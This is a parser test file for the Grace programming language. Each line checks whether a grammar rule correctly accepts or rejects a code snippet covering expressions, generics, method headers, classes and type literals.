testProgramOn " foo := 3 " correctly "006a32"
testProgramOn " foo := (3) " correctly "006a33"
testProgramOn "foo:=(3)" correctly "006a34"
testProgramOn "foo := 3+4" correctly "006a35"
testProgramOn "foo := 3*4" correctly "006a36"
testProgramOn "foo := baz" correctly "006a37"
testProgramOn "foo := baz.bar" correctly "006ay"
testProgramOn "car.speed := 30.mph" correctly "006az"
testProgramOn "foo" correctly "007"
test (unaryRequest ~ end) on "foo" correctly "007unary"
test (rep1sep(unaryRequest,dot) ~ end) on "foo" correctly "007rep1sep unary"
test (implicitSelfRequest ~ end) on "foo.foo" correctly "007ISR"
test (expression ~ end) on "foo.foo" correctly "007Exp"
testProgramOn "foo.foo" correctly "007"
testProgramOn " foo . foo " correctly "007"
testProgramOn "foo.foo(10)" correctly "007"
testProgramOn "foo.foo.foo" correctly "007"
test (numberLiteral ~ multOp ~ trim(identifier) ~ lParen ~ numberLiteral ~ rParen) on "3*foo(50)" correctly "007hack"
test (numberLiteral ~ multOp ~ requestWithArgs ~ end) on "3*foo(50)" correctly "007hack"
test (implicitSelfRequest ~ end) on "foo(50)" correctly "007ISR"
testProgramOn "3*foo(50)" correctly "007"
testProgramOn " 3 * foo ( 50 )" correctly "007"
testProgramOn "(foo(50))*3" correctly "007"
testProgramOn "(foo ( 50 ) * 3)" correctly "007"
testProgramOn "foo(50)*3" correctly "007"
testProgramOn "foo ( 50 ) * 3" correctly "007"
testProgramOn "print(3*foo(50))" correctly "007"
testProgramOn "print ( 3 * foo ( 50 ) )" correctly "007"
testProgramOn "print(foo(10) foo(11)) print (3 * foo(50))" correctly "007"
testProgramOn "foo.foo(40).foo" correctly "007"
print " : woot"
test (typeExpression) on " " correctly "008type1"
test (typeExpression ~ end) on " " correctly "008type1"
test (typeExpression ~ end) on "Integer" correctly "008type2"
test (typeExpression ~ end) on " Integer " correctly "008type3"
testProgramOn "b(t(r(o)), not(re))" correctly "008x1"
testProgramOn "\{ rep1(dot ~ unaryRequest) ~ rep(opRequestXXX) ~ opt(dot ~ keywordRequest) \}" correctly "008x2"
testProgramOn " if (endPosition > string.size) then \{endPosition := string.size\}" correctly "008x2"
testProgramOn " if ((n + position) <= (string.size + 1)) then \{return stringInputStream(string, position + n)\}" correctly "008x4"
testProgramOn "return (((c >= \"A\") && (c <= \"Z\")) | ((c >= \"a\") && (c <= \"z\")))" correctly "008x5"
testProgramOn "\{drop(opt(ws)) ~ p ~ drop(opt(ws))\}" correctly "008x6" // OK ok JS, crashes on C
testProgramOn "drop(opt(ws)) ~ doubleQuote ~ rep( stringChar ) ~ doubleQuote " correctly "008x7"
testProgramOn "" correctly "008"
test (token("return") ~ end) on "return" correctly "008xr1"
test (token("return") ~ end) on " return" wrongly "008xr2"
test (returnStatement ~ end) on "return" correctly "008xr3"
test (returnStatement ~ end) on " return" wrongly "008xr4"
test (returnStatement ~ end) on "return (subParser.parse(in))" correctly "008xr5"
test (returnStatement ~ end) on "return (subParser.parse(in) .resultUnlessFailed)" correctly "008xr9"
test (returnStatement ~ end) on " return (subParser.parse(in))" wrongly "008xr10"
test (returnStatement ~ end) on " return (subParser.parse(in) .resultUnlessFailed)" wrongly "008xr11"
testProgramOn "return (subParser.parse(in) .resultUnlessFailed)" correctly "008x12"
testProgramOn "return (subParser.parse(in))" correctly "008x8"
testProgramOn "return (subParser.parse(in) .resultUnlessFailed)" correctly "008x9"
testProgramOn " return (subParser.parse(in))" wrongly "008x10"
testProgramOn " return (subParser.parse(in) .resultUnlessFailed)" wrongly "008x11"
testProgramOn "return (subParser.parse(in) .resultUnlessFailed)" correctly "008x12"
testProgramOn "(subParser.parse(in) .resultUnlessFailed)" correctly "008x13"
testProgramOn " \{f -> return parseSuccess(in, \"\")\}" wrongly "008x14"
testProgramOn " \{ return parseSuccess(in, \"\")\}" wrongly "008x15"
testProgramOn " return (subParser.parse(in) .resultUnlessFailed \{f -> return parseSuccess(in, \"\")\})" wrongly "008x16"
testProgramOn "return (subParser.parse(in) .resultUnlessFailed \{f -> return parseSuccess(in, \"\")\})" correctly "008x17"
testProgramOn "a" correctly "007x"
testProgramOn "a b" wrongly "007x"
testProgramOn "a b c" wrongly "007x"
testProgramOn "a b c d" wrongly "007x"
test (otherOp) on ".." correctly "008a"
test (trim(rep1(operatorChar))) on ".." correctly "008b"
testProgramOn "position .. endPosition" correctly "008c"
testProgramOn "for (position .. endPosition)" correctly "008d"
testProgramOn "for (position .. endPosition) do (42)" correctly "008e"
testProgramOn "\{ i : Number -> result \}" correctly "008f"
testProgramOn "\{ result ++ string.at(i); \}" correctly "008g"
testProgramOn "\{ result := result \}" correctly "008h"
testProgramOn "\{ result := result; \}" correctly "008h1"
testProgramOn "\{ result := result\n \}" correctly "008h2"
testProgramOn "\{ result := result ++ string.at(i); \}" correctly "008i"
testProgramOn "foo" correctly "008i1"
testProgramOn " foo" wrongly "008i11"
testProgramOn "foo; bar" correctly "008i11a"
testProgramOn " foo; bar" wrongly "008i11b"
testProgramOn " foo\n bar" wrongly "008i12"
testProgramOn "foo\nbar" correctly "008i13"
testProgramOn "\{ result := result ++ string.at(i) \}" correctly "008i2"
testProgramOn "\{ result := result ++ string.at(i) \}" correctly "008i3"
testProgramOn "\{ result := result ++ string.at(i); \}" correctly "008i3"
testProgramOn "for (position .. endPosition) do \{ i : Number -> result := result ++ string.at(i); \}" correctly "008j"
testProgramOn " for (position .. endPosition) do \{ i : Number -> result := result ++ string.at(i); \}" wrongly "008j2"
testProgramOn " for (position .. endPosition) do \{ i : Number -> result := result ++ string.at(i); \}" wrongly "008j3"
testProgramOn "a * * * * * * * * * b" correctly "008k"
test (genericActuals ~ end) on "" correctly "009"
test (genericActuals ~ end) on "<T>" correctly "009"
test (genericActuals ~ end) on "<T,A,B>" correctly "009"
test (genericActuals ~ end) on "<T,A<B>,T>" correctly "009"
test (genericActuals ~ end) on "<T, A<B> , T>" correctly "009"
test (genericActuals ~ end) on "<A & B>" correctly "009"
test (genericActuals ~ end) on "<A&B>" correctly "009"
test (lGeneric ~ opt(ws) ~ stringLiteral ~ opt(ws) ~ comma ~ opt(ws) ~ stringLiteral ~ opt(ws) ~ rGeneric ~ end) on "< \"foo\", \"bar\" >" correctly "009b"
test (lGeneric ~ opt(ws) ~ stringLiteral ~ opt(ws) ~ comma ~ opt(ws) ~ stringLiteral ~ opt(ws) ~ rGeneric ~ end) on "<\"foo\",\"bar\">" correctly "009b"
test (lGeneric ~ stringLiteral ~ opt(ws) ~ comma ~ opt(ws) ~ stringLiteral ~ rGeneric ~ end) on "<\"foo\" , \"bar\">" correctly "009b"
test (lGeneric ~ stringLiteral ~ opt(ws) ~ comma ~ opt(ws) ~ stringLiteral ~ rGeneric ~ end) on "<\"foo\",\"bar\">" correctly "009b"
test (genericActuals ~ end) on "< \"foo\", \"bar\" >" correctly "009c"
test (genericActuals ~ end) on "<\"foo\",\"bar\">" correctly "009c"
test (genericActuals ~ end) on "< A , B >" correctly "009c"
test (genericActuals ~ end) on "<A ,B >" correctly "009c"
test (genericActuals ~ end) on "< A, B>" correctly "009c"
test (genericActuals ~ end) on " < A, B>" wrongly "009d"
testProgramOn "foo(34)" correctly "009"
testProgramOn "foo<T>" correctly "009"
testProgramOn "foo<T>(34)" correctly "009"
testProgramOn "foo<T,A,B>(34)" correctly "009"
testProgramOn "foo<T>(34) barf(45)" correctly "009"
testProgramOn "foo<T,A,B>(34) barf(45)" correctly "009"
testProgramOn "foo<T>" correctly "009"
testProgramOn "foo<T,A,B>" correctly "009"
testProgramOn "run(a < B, C > 1)" wrongly "009tim-a"
testProgramOn "a < B, C > 1" wrongly "009tim-b"
testProgramOn "a<B,C>(1)" correctly "009tim-c"
testProgramOn "run(a < B, C >(1))" correctly "009tim-d"
testProgramOn "a<B,C>" correctly "009eelco-a"
testProgramOn "a<B>" correctly "009eelco-b"
testProgramOn "m(a<B,C>(3))" correctly "009eelco-c" /// particularly evil and ambiguous
testProgramOn "m((a<B),(C>(3)))" correctly "009eelco-d" /// disambiguated
testProgramOn "m((a<B,C>(3)))" correctly "009eelco-e" /// disambiguated
testProgramOn "1*2+3" correctly "010"
testProgramOn "1+2*3" correctly "010"
testProgramOn "1+2-3+4" correctly "010"
testProgramOn "5*6/7/8" correctly "010"
testProgramOn "1*3-3*4" correctly "010"
testProgramOn "!foo.bar" correctly "010"
testProgramOn "!foo.bar * zarp" correctly "010"
testProgramOn "1 %% 2 * 3 %% 4 + 5" correctly "010"
testProgramOn "1 %% 2 ** 3 %% 4 ++ 5" wrongly "010"
testProgramOn "1 ?? 2 !! 3 $$ 4" wrongly "010"
testProgramOn "1*2+3" correctly "010a"
testProgramOn "1+2*3" correctly "010a"
testProgramOn "1 @ 2+3" correctly "010a"
testProgramOn "1 + 2 @ 3" correctly "010a"
testProgramOn "1 @ 2*3" correctly "010a"
testProgramOn "1 * 2 @ 3" correctly "010a"
testProgramOn "1 @ 2*3 + 4" correctly "010a"
testProgramOn "1 * 2 @ 3 + 4" correctly "010a"
testProgramOn "foo[10]" correctly "010"
testProgramOn "foo[10,20]" correctly "010"
testProgramOn "foo[\"10\"]" correctly "010"
testProgramOn "foo[14+45]" correctly "010"
testProgramOn "foo[bar]" correctly "010"
testProgramOn "foo[bar.baz]" correctly "010"
testProgramOn "foo[10][20][30]" correctly "010"
testProgramOn "foo[bar(1) baz(2)]" correctly "010"
testProgramOn "foo[bar[10]]" correctly "010"
testProgramOn "foo[bar[10].baz[e].zapf]" correctly "010"
testProgramOn "super" wrongly "011"
testProgramOn "return super" wrongly "011"
testProgramOn "super.foo" correctly "011"
testProgramOn "super.foo.bar" correctly "011"
testProgramOn "super.foo(1) bar(2)" correctly "011"
testProgramOn "super + 3" correctly "011"
testProgramOn "super +&^#%$ 3" correctly "011"
testProgramOn "super[3]" correctly "011"
testProgramOn "!super" correctly "011"
testProgramOn "def" wrongly "012"
testProgramOn "def x" wrongly "012"
testProgramOn "def x = " wrongly "012"
testProgramOn "def x := " wrongly "012"
testProgramOn "def x : T =" wrongly "012"
testProgramOn "def x : T := 4" wrongly "012"
testProgramOn "var" wrongly "012"
testProgramOn "var x = " wrongly "012"
testProgramOn "var x := " wrongly "012"
testProgramOn "var x : T :=" wrongly "012"
testProgramOn "var x : T = 4" wrongly "012"
testProgramOn "def x : T = 4" correctly "012"
testProgramOn "var x : T := 4" correctly "012"
testProgramOn "def x = 4" correctly "012"
testProgramOn "var x := 4" correctly "012"
testProgramOn "var x:=4" correctly "012"
test (varId ~ identifier ~ assign ~ numberLiteral) on "var x := 4" correctly "012"
test (varId ~ identifier ~ assign ~ expression) on "var x := 4" correctly "012"
test (varId ~ identifier ~ opt(assign ~ expression)) on "var x := 4" correctly "012"
test (varDeclaration) on "var xVarDec := 4" correctly "012"
test (declaration) on "var xDec := 4" correctly "012"
test (codeSequence) on "var xCodeSeq := 4" correctly "012"
test (program) on "var xParenProg := 4" correctly "012"
testProgramOn "var xProg := 4" correctly "012"
testProgramOn "var x : TTT := foobles.barbles" correctly "012"
testProgramOn "var x := foobles.barbles" correctly "012"
test (defId ~ identifier) on "def x" correctly "012d"
test (defId ~ identifier) on "def typeExpression" correctly "012d"
test (defId ~ identifier ~ equals) on "def typeExpression =" correctly "012d"
test (defId ~ identifier) on "def typeExpression = rule \{ trim(identifier) | opt(ws) \}" correctly "012d1"
test (defId ~ identifier ~ equals) on "def typeExpression = rule \{ trim(identifier) | opt(ws) \}" correctly "012d2"
test (defId ~ identifier ~ equals ~ expression) on "def typeExpression = rule \{ trim(identifier) | opt(ws) \}" correctly "012d3"
test (defDeclaration) on "def typeExpression = rule \{ trim(identifier) | opt(ws) \}" correctly "012d4"
test (declaration) on "def typeExpression = rule \{ trim(identifier) | opt(ws) \}" correctly "012d5"
testProgramOn "def typeExpression = rule \{ trim(identifier) | opt(ws) \}" correctly "012d6"
testProgramOn "rule \{ trim(identifier) | opt(ws) \}" correctly "012d7"
testProgramOn "rule ( trim(identifier) | opt(ws) )" correctly "012d8"
test (identifier) on "typeExpression" correctly "012d9"
test (identifier) on "superThing" correctly "012d9"
test (identifierString) on "typeExpression" correctly "012d10"
test (identifierString) on "superThing" correctly "012d10"
testProgramOn "var x := 4; foo; def b = 4; bar; baz" correctly "013a"
test (objectLiteral) on "object \{ \}" correctly "013a"
test (objectLiteral) on "object \{ var x := 4; foo; def b = 4; bar; baz \}" correctly "013a"
test (codeSequence) on "var x := 4; foo; def b = 4; bar; baz" correctly "013a"
test (codeSequence) on "var x := 4; foo; 3+4; def b = 4; bar; 1+2; baz;" correctly "013a"
testProgramOn "method foo \{a; b; c\}" correctly "013b"
testProgramOn "method foo \{a; b; c; \}" correctly "013b"
testProgramOn "method foo -> \{a; b; c\}" wrongly "013b2"
testProgramOn "method foo -> T \{a; b; c\}" correctly "013b3"
testProgramOn "method foo<T> \{a; b; c\}" correctly "013b4"
testProgramOn "method foo<T,V> \{a; b; c; \}" correctly "013b5"
testProgramOn "method foo<T> -> \{a; b; c\}" wrongly "013b6"
testProgramOn "method foo<T,V> -> T \{a; b; c\}" correctly "013b7"
test (methodHeader ~ end) on "foo" correctly "013c1"
test (firstArgumentHeader ~ end) on "foo(a)" correctly "013c11"
test (methodWithArgsHeader ~ end) on "foo(a)" correctly "013c11"
test (methodHeader ~ end) on "foo(a)" correctly "013c11"
test (firstArgumentHeader ~ end) on "foo(a,b)" correctly "013c12"
test (methodWithArgsHeader ~ end) on "foo(a,b)" correctly "013c12"
test (methodHeader ~ end) on "foo(a,b)" correctly "013c12"
test (methodWithArgsHeader ~ end) on "foo(a,b) foo(c,d)" correctly "013c13"
test (methodHeader ~ end) on "foo(a,b) foo(c,d)" correctly "013c13"
test (methodHeader ~ end) on "foo(a,b) foo " wrongly "013c14"
testProgramOn "method foo(a) \{a; b; c\}" correctly "013c"
testProgramOn "method foo(a, b, c) \{a; b; c\}" correctly "013c2"
testProgramOn "method foo(a : T) \{a; b; c\}" correctly "013c3"
testProgramOn "method foo(a : T, b : T, c : T) -> T \{a; b; c\}" correctly "013c4"
testProgramOn "method foo(a, b, c) -> T \{a; b; c\} " correctly "013c5"
testProgramOn "method foo(a : T, b : T, c : T) -> T \{a; b; c\}" correctly "013c6"
testProgramOn "method foo(a : T, b : T, c : T) foo(a : T, b : T, c : T) -> T \{a; b; c\}" correctly "013c6"
testProgramOn "method foo(a, b, c) \{a; b; c\}" correctly "013c7"
testProgramOn "method foo(a, b, c) bar(d,e)\{a; b; c\}" correctly "013c7"
testProgramOn "method foo(a : T, b : T, c : T) -> T \{a; b; c\}" correctly "013c8"
testProgramOn "method foo(a, b : T, c) -> F \{a; b; c\}" correctly "013c9"
testProgramOn "method foo<T>(a) \{a; b; c\}" correctly "013c"
testProgramOn "method foo<TER,MIN,US>(a, b, c) \{a; b; c\}" correctly "013c2"
testProgramOn "method foo<TXE>(a : T) \{a; b; c\}" correctly "013c3"
testProgramOn "method foo<T,U,V>(a : T, b : T, c : T) -> T \{a; b; c\}" correctly "013c4"
testProgramOn "method foo<T,U>(a : T, b : T, c : T) foo(a : T, b : T, c : T) -> T \{a; b; c\}" correctly "013c6"
testProgramOn "method foo(a : T, b : T, c : T) foo<T,U>(a : T, b : T, c : T) -> T \{a; b; c\}" wrongly "013c6"
testProgramOn "method foo<>(a : T, b : T, c : T) foo<T,U>(a : T, b : T, c : T) -> T \{a; b; c\}" wrongly "013c6"
testProgramOn "method foo<>(a : T, b : T, c : T) \{a; b; c\}" wrongly "013c6"
testProgramOn "method foo<> \{a; b; c\}" wrongly "013c6"
testProgramOn "method +(x) \{a; b; c\}" correctly "013d1"
testProgramOn "method ==(x) \{a; b; c\}" correctly "013d1"
testProgramOn "method =(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method :=(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method ++***&%&(x) \{a; b; c\}" correctly "013d1"
testProgramOn "method +(x: T) \{a; b; c\}" correctly "013d2"
testProgramOn "method +(x) -> T \{a; b; c\}" correctly "013d3"
testProgramOn "method +(x : T) -> T \{a; b; c\}" correctly "013d3"
test (methodHeader) on "+ -> T" wrongly "013d5a"
testProgramOn "method + -> T \{a; b; c\}" wrongly "013d5"
testProgramOn "method +(x,y) T \{a; b; c\}" wrongly "013d6"
testProgramOn "method +(x : T, y : T) -> T \{a; b; c\}" wrongly "013d7"
testProgramOn "method +(x) +(y) -> T \{a; b; c\}" wrongly "013d8"
testProgramOn "method prefix+ \{a; b; c\}" correctly "013e1"
testProgramOn "method prefix + \{a; b; c\}" correctly "013e1"
testProgramOn "method prefix++***&%& \{a; b; c\}" correctly "013e1"
testProgramOn "method prefix ! \{a; b; c\}" correctly "013e1"
testProgramOn "method prefix+ -> \{a; b; c\}" wrongly "013e2"
testProgramOn "method prefix+(x) -> T \{a; b; c\}" wrongly "013e3"
testProgramOn "method prefix+(x : T) -> T \{a; b; c\}" wrongly "013e3"
testProgramOn "method prefix+ -> T \{a; b; c\}" correctly "013e5"
testProgramOn "method prefix+(x,y) T \{a; b; c\}" wrongly "013e6"
testProgramOn "method prefix+(x : T, y : T) -> T \{a; b; c\}" wrongly "013e7"
testProgramOn "method prefix+(x) +(y) -> T \{a; b; c\}" wrongly "013e8"
testProgramOn "method prefix(x) -> T \{a; b; c\}" wrongly "013e9"
testProgramOn "method prefix:= \{a; b; c\}" wrongly "013e1"
testProgramOn "method prefix := \{a; b; c\}" wrongly "013e1"
testProgramOn "method prefix[] \{a; b; c\}" wrongly "013e1"
//what should the *grammar* say about assignment op return values
test (assignmentMethodHeader) on "foo:=(a)" correctly "013a1"
test (assignmentMethodHeader) on "foo := ( a : T )" correctly "013a1"
test (assignmentMethodHeader) on "foo" wrongly "013a1"
test (assignmentMethodHeader) on "foobar:=" wrongly "013a1"
testProgramOn "method foo:=(a) \{a; b; c\}" correctly "013f"
testProgramOn "method bar :=(a) \{a; b; c\}" correctly "013f2"
testProgramOn "method foo:=(a : T) \{a; b; c\}" correctly "013f3"
testProgramOn "method foo :=(a : T) -> T \{a; b; c\}" correctly "013f4"
testProgramOn "method foo:=(a) -> T \{a; b; c\} " correctly "013f5"
testProgramOn "method foo:=(a : T, b : T, c : T) -> T \{a; b; c\}" wrongly "013f6"
testProgramOn "method foo:=(a : T, b : T, c : T) foo(a : T, b : T, c : T) -> T \{a; b; c\}" wrongly "013f6"
testProgramOn "method foo:=(a, b, c) \{a; b; c\}" wrongly "013f7"
testProgramOn "method foo:=(a, b, c) bar(d,e)\{a; b; c\}" wrongly "013f7"
testProgramOn "method foo:=(a : T, b : T, c : T) -> T \{a; b; c\}" wrongly "013f8"
testProgramOn "method foo:=(a, b : T, c) -> F \{a; b; c\}" wrongly "013f9"
testProgramOn "method [](x) \{a; b; c\}" correctly "013d1"
testProgramOn "method [](x, y, z) \{a; b; c\}" correctly "013d1"
testProgramOn "method []=(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method [=](x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method []foo(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method foo[](x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method [][]***&%&(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method [](x: T) \{a; b; c\}" correctly "013d2"
testProgramOn "method [](x) -> T \{a; b; c\}" correctly "013d3"
testProgramOn "method [](x : T) -> T \{a; b; c\}" correctly "013d3"
testProgramOn "method [] -> T \{a; b; c\}" wrongly "013d5"
testProgramOn "method [](x,y) T \{a; b; c\}" wrongly "013d6"
testProgramOn "method [](x : T, y : T) -> T \{a; b; c\}" correctly "013d7"
testProgramOn "method [](x) [](y) -> T \{a; b; c\}" wrongly "013d8"
testProgramOn "method []:=(x) \{a; b; c\}" correctly "013d1"
testProgramOn "method []:=(x, y, z) \{a; b; c\}" correctly "013d1"
testProgramOn "method [] :=(x) \{a; b; c\}" correctly "013d1"
testProgramOn "method [] :=(x, y, z) \{a; b; c\}" correctly "013d1"
testProgramOn "method []:==(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method [=](x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method []:=foo(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method foo[]:=(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method []:=[]:=***&%&(x) \{a; b; c\}" wrongly "013d1"
testProgramOn "method []:=(x: T) \{a; b; c\}" correctly "013d2"
testProgramOn "method []:=(x) -> T \{a; b; c\}" correctly "013d3"
testProgramOn "method []:=(x : T) -> T \{a; b; c\}" correctly "013d3"
testProgramOn "method []:= -> T \{a; b; c\}" wrongly "013d5"
testProgramOn "method []:=(x,y) T \{a; b; c\}" wrongly "013d6"
testProgramOn "method []:=(x : T, y : T) -> T \{a; b; c\}" correctly "013d7"
testProgramOn "method []:=(x) []:=(y) -> T \{a; b; c\}" wrongly "013d8"
//evil list syntax
testProgramOn "[]" correctly "014a"
testProgramOn "[1,2,3]" correctly "014b"
testProgramOn "[ \"a\", \"a\", \"a\", 1]" correctly "014c"
testProgramOn "[ \"a\", \"a\", \"a\", 1" wrongly "014d"
testProgramOn "[ \"a\" \"a\" \"a\" 1]" wrongly "014e"
testProgramOn "[][3][4][5]" correctly "014f"
// "Old" Class syntax
//
// testProgramOn "class Foo \{ \}" correctly "015a"
// testProgramOn "class Foo \{ a; b; c \}" correctly "015b"
// testProgramOn "class Foo \{ def x = 0; var x := 19; a; b; c \}" correctly "015c"
// testProgramOn "class Foo \{ a, b -> a; b; c; \}" correctly "015d"
// testProgramOn "class Foo \{ a : A, b : B -> a; b; c; \}" correctly "015e"
// testProgramOn "class Foo \{ <A> a : A, b : B -> a; b; c; \}" correctly "015f"
// testProgramOn "class Foo \{ <A, B> a : A, b : B -> a; b; c; \}" correctly "015g"
// testProgramOn "class Foo " wrongly "015h"
// testProgramOn "class Foo a; b; c" wrongly "015i"
// testProgramOn "class Foo \{ <A> def x = 0; var x := 19; a; b; c \}" wrongly "015j"
// testProgramOn "class Foo \{ -> a; b; c; \}" correctly "015k"
// testProgramOn "class Foo \{ a : <A>, b : <B> -> a; b; c; \}" wrongly "015l"
// testProgramOn "class Foo \{ -> <A> a : A, b : B a; b; c; \}" wrongly "015m"
// "new" aka "Alt" Class syntax
testProgramOn "class Foo \{ \}" correctly "015a"
testProgramOn "class Foo \{ a; b; c \}" correctly "015b"
testProgramOn "class Foo \{ method a \{\}; method b \{\}; method c \{\}\}" correctly "015b"
testProgramOn "class Foo \{ def x = 0; var x := 19; a; b; c \}" correctly "015c"
testProgramOn "class Foo(a,b) \{ a; b; c; \}" correctly "015d"
testProgramOn "class Foo(a : A, b : B) \{ a; b; c; \}" correctly "015e"
testProgramOn "class Foo<A>(a : A, b : B) new(a : A, b : B) \{ a; b; c; \}" correctly "015f"
testProgramOn "class Foo<A, B>(a : A, b : B) \{ a; b; c; \}" correctly "015g"
testProgramOn "class Foo " wrongly "015h"
testProgramOn "class Foo a; b; c" wrongly "015i"
testProgramOn "class Foo<A> \{ def x = 0; var x := 19; a; b; c \}" wrongly "015j"
testProgramOn "class Foo \{ -> a; b; c; \}" wrongly "015k"
testProgramOn "class Foo \{ a : <A>, b : <B> -> a; b; c; \}" wrongly "015l"
testProgramOn "class Foo \{ -> <A> a : A, b : B a; b; c; \}" wrongly "015m"
testProgramOn "class Foo \{ inherit Foo; \}" correctly "015ia"
testProgramOn "class Foo \{ inherit Foo; a; b; c \}" correctly "015ib"
testProgramOn "class Foo \{ inherit Foo(3,4); method a \{\}; method b \{\}; method c \{\}\}" correctly "015ib"
testProgramOn "class Foo \{ inherit Foo(3,4); def x = 0; var x := 19; a; b; c \}" correctly "015ic"
testProgramOn "class Foo(a,b) \{ inherit Foo<X>(4); a; b; c; \}" correctly "015id"
testProgramOn "class Foo(a : A, b : B) \{ inherit goobles; a; b; c; \}" correctly "015ie"
testProgramOn "class Foo<A>(a : A, b : B) new(a : A, b : B) \{ inherit OttDtraid; a; b; c; \}" correctly "015if"
testProgramOn "class Foo<A, B>(a : A, b : B) \{ inherit Foo(2) new(4); a; b; c; \}" correctly "015ig"
testProgramOn "class Foo \{ inherit; a; b; c \}" wrongly "015ih"
testProgramOn "3+4.i" correctly "015z"
test (expression) on "" wrongly "015zz"
test (typeId) on "type" correctly "16aa1"
test (typeId ~ end) on "type" correctly "16aa2"
test (typeLiteral) on "type \{ \}" correctly "016cl"
test (typeLiteral) on "type \{ foo \}" correctly "016cl1"
test (typeLiteral) on "type \{ foo; bar; baz; \}" correctly "016cl2"
test (typeLiteral) on "type \{ prefix!; +(other : SelfType); baz(a,b) baz(c,d); \}" correctly "016cl3"
test (typeExpression ~ end) on "type \{ \}" correctly "016cx1"
test (typeExpression ~ end) on "type \{ foo \}" correctly "016cx2"
test (typeExpression ~ end) on "type \{ foo; bar; baz; \}" correctly "016cx3"
test (typeExpression ~ end) on "type \{ prefix!; +(other : SelfType); baz(a,b) baz(c,d); \}" correctly "016cx4"
test (typeExpression ~ end) on "\{ \}" correctly "016cx5"
test (typeExpression ~ end) on "\{ foo \}" correctly "016cx5"
test (typeExpression ~ end) on "\{ foo; bar; baz; \}" correctly "016cx7"
test (typeExpression ~ end) on "\{ prefix!; +(other : SelfType); baz(a,b) baz(c,d); \}" correctly "016cx8"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo -> T" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "prefix!" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "+(x : T)" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo;" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo; bar;" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo; bar; baz" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo<T> -> T" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo<T>" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "prefix<T> !" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "+(x : T)" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo<T>;" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo<T>; bar<T>;" correctly "016d1"
test ( repsep( methodHeader ~ methodReturnType, semicolon)) on "foo; bar<T>; baz<T>" correctly "016d1"
test (typeId ~ lBrace ~ repdel( methodHeader ~ methodReturnType, semicolon) ~ rBrace) on "type \{ prefix!; +(other : SelfType); baz(a,b) baz(c,d); \}" correctly "016e"
test (repdel( methodHeader ~ methodReturnType, semicolon)) on "prefix!; +(other : SelfType); baz(a,b) baz(c,d)" correctly "016e"
test (typeExpression ~ end) on "T" correctly "016c"
test (lGeneric ~ typeExpression ~ rGeneric ~ end) on "<T>" correctly "016c"
test (typeExpression ~ end) on "type \{ \}" correctly "016c"
test (typeExpression ~ end) on "type \{ foo \}" correctly "016c"
test (typeExpression ~ end) on "type \{ foo; bar; baz; \}" correctly "016d"
test (typeExpression ~ end) on "type \{ prefix!; +(other : SelfType); baz(a,b) baz(c,d); \}" correctly "016e"
test (typeExpression ~ end) on "type \{ prefix!; +(other : SelfType); baz(a,b) baz(c,d); \}" correctly "016e"
test (typeExpression ~ end) on "" correctly "016a"
test (typeExpression ~ end) on "T" correctly "016a"
test (typeExpression ~ end) on "=T" wrongly "016a"
test (typeExpression ~ end) on "!T" wrongly "016a"
test (typeExpression ~ end) on "T<A,B>" correctly "016c"
test (typeExpression ~ end) on "T<B>" correctly "016c"
test (typeExpression ~ end) on "A & B" correctly "016c"
test (typeExpression ~ end) on "A & B & C" correctly "016c"
test (typeExpression ~ end) on "A & B<X> & C" correctly "016ct"
test (typeExpression ~ end) on "A | B<X> | C" correctly "016ct"
test (expression ~ end) on "A & B(X) & C" correctly "016cx"
test (expression ~ end) on "A | B(X) | C" correctly "016cx"
test (expression ~ end) on "A & B<X> & C" correctly "016cx"
test (expression ~ end) on "A | B<X> | C" correctly "016cx"
test (typeExpression ~ end) on "A & B | C" wrongly "016c"
test (typeExpression ~ end) on "A & type \{ foo(X,T) \}" correctly "016c"
test (typeExpression ~ end) on " \"red\"" correctly "016t1"
test (typeExpression ~ end) on " \"red\" | \"blue\" | \"green\"" correctly "016t1"
test (typeExpression ~ end) on " 1 | 2 | 3 " correctly "016t1"
test (expression ~ end) on "\"red\"|\"blue\"|\"green\"" correctly "016t1"
test (expression ~ end) on " \"red\" | \"blue\" | \"green\"" correctly "016t1"
test (expression ~ end) on " 1 | 2 | 3 " correctly "016t1"
test (typeExpression ~ end) on "super.T<A,B>" correctly "016pt"
test (typeExpression ~ end) on "super.A & x.B" correctly "016pt"
test (typeExpression ~ end) on "super.A & a.B & a.C" correctly "test"
test (typeExpression ~ end) on "super.A & B<super.X> & C" correctly "016ptt"
test (typeExpression ~ end) on "A | B<X> | C" correctly "016ptt"
test (typeExpression ~ end) on "T<super.A.b.b.B.c.c.C,super.a.b.c.b.b.B>" correctly "016pt"
test (typeExpression ~ end) on "a<X,super.Y,z.Z>.a.A & b.b.B" correctly "016pt"
test (typeExpression ~ end) on "a<X,super.Y,z.Z>.a.A & b.b.B & c.c.C" correctly "016pt"
test (typeExpression ~ end) on "a<X,super.Y,z.Z>.a.A & b.b.B<X> & c.c.C" correctly "016ptt"
test (typeExpression ~ end) on "a<X,super.Y,z.Z>.a.A | b.b.B<X> | c.c.C" correctly "016ptt"
test (typeDeclaration ~ end) on "type A = B;" correctly "016td1"
test (typeDeclaration ~ end) on "type A=B;" correctly "016td2"
